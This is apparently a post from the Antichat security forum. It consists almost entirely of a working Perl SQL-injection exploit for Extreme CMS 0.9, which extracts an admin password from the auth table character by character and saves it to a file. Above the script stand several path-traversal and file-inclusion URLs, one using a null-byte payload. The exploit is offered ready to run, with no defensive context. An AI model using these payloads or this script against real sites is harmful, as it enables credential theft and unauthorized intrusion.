ANTICHAT — форум по информационной безопасности, OSINT и технологиям

http://localhost/facil/modules.php?modload=existing_dir/../../../FILE//////////[...]

http://localhost/facil/phpinfo.php

http://localhost/11/index.php?set[template]=../../FILE%00

#!/usr/bin/perl
#-----------------------------------------
#  Extreme CMS 0.9 SQL Injection Exploit 
#-----------------------------------------
# Download Script : http://sourceforge.net/projects/extremecms
#
# Author          : RulleR aka Pin4eG                 
# Contact         : rull3rrr[at]gmail[dot]com            
# Visit           : forum.antichat.ru
#-----------------------------------------

use LWP;
use Fcntl;

#________________ CONFIG _______________

$vuln = '/calendar/show.php?event=';
$length = 40;
$column_name = 'password';
$table_name = 'auth';
$id = 1; # user id
$regexp = '<h2> 0, (.*)<\/h2>';
$filename = 'Exp_result.txt';
#_______________________________________



$title = "
[*]==================================[*]
!                                      !
!  Extreme CMS SQL Injection Exploit   !
!                                      !
!          Found && coded by RulleR    !
!                                      !
[*]==================================[*]
";
print $title;
print "\n[+] Enter Host: ";
chop ($host = <>);
print "\n[>] Exploiting started... $host\n";

for ($start = 1; $start<=$length; $start++) {
	$inj = '-1%27+union+select+null,ord(substr((select+'.$column_name.'+from+'.$table_name.'+where+id='.$id.'),'.$start.',1)),null,null,null+--+';
	$req = $host.$vuln.$inj;
	$cont = &WebGet($req);
	$cont =~ /$regexp/;
	last if (!$1);
	$char = chr($1);
	push (@res, $char);
}

print "\n------------- [Result] --------------\n";
print @res;
print "\n-------------------------------------\n";
print "\n[!] Exploiting finished :)\n";
sysopen (RESULT, $filename, O_WRONLY | O_CREAT);
print RESULT $title;
print RESULT "\n------------- [Result] --------------\n";
print RESULT @res; 
print RESULT "\n-------------------------------------\n";
close (RESULT);
print "\nResult saving in $filename\n";

sub WebGet() {
    $url = $_[0];
	$request = HTTP::Request->new(GET => $url);
	$u_a = LWP::UserAgent->new();
	$u_a->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	$u_a->timeout(5);
	$response = $u_a->request($request);
	if ($response->is_error) {
	    print " ! Error: ".$response->status_line.".\n"; die " :(\n";
	}
    return $response->content;
}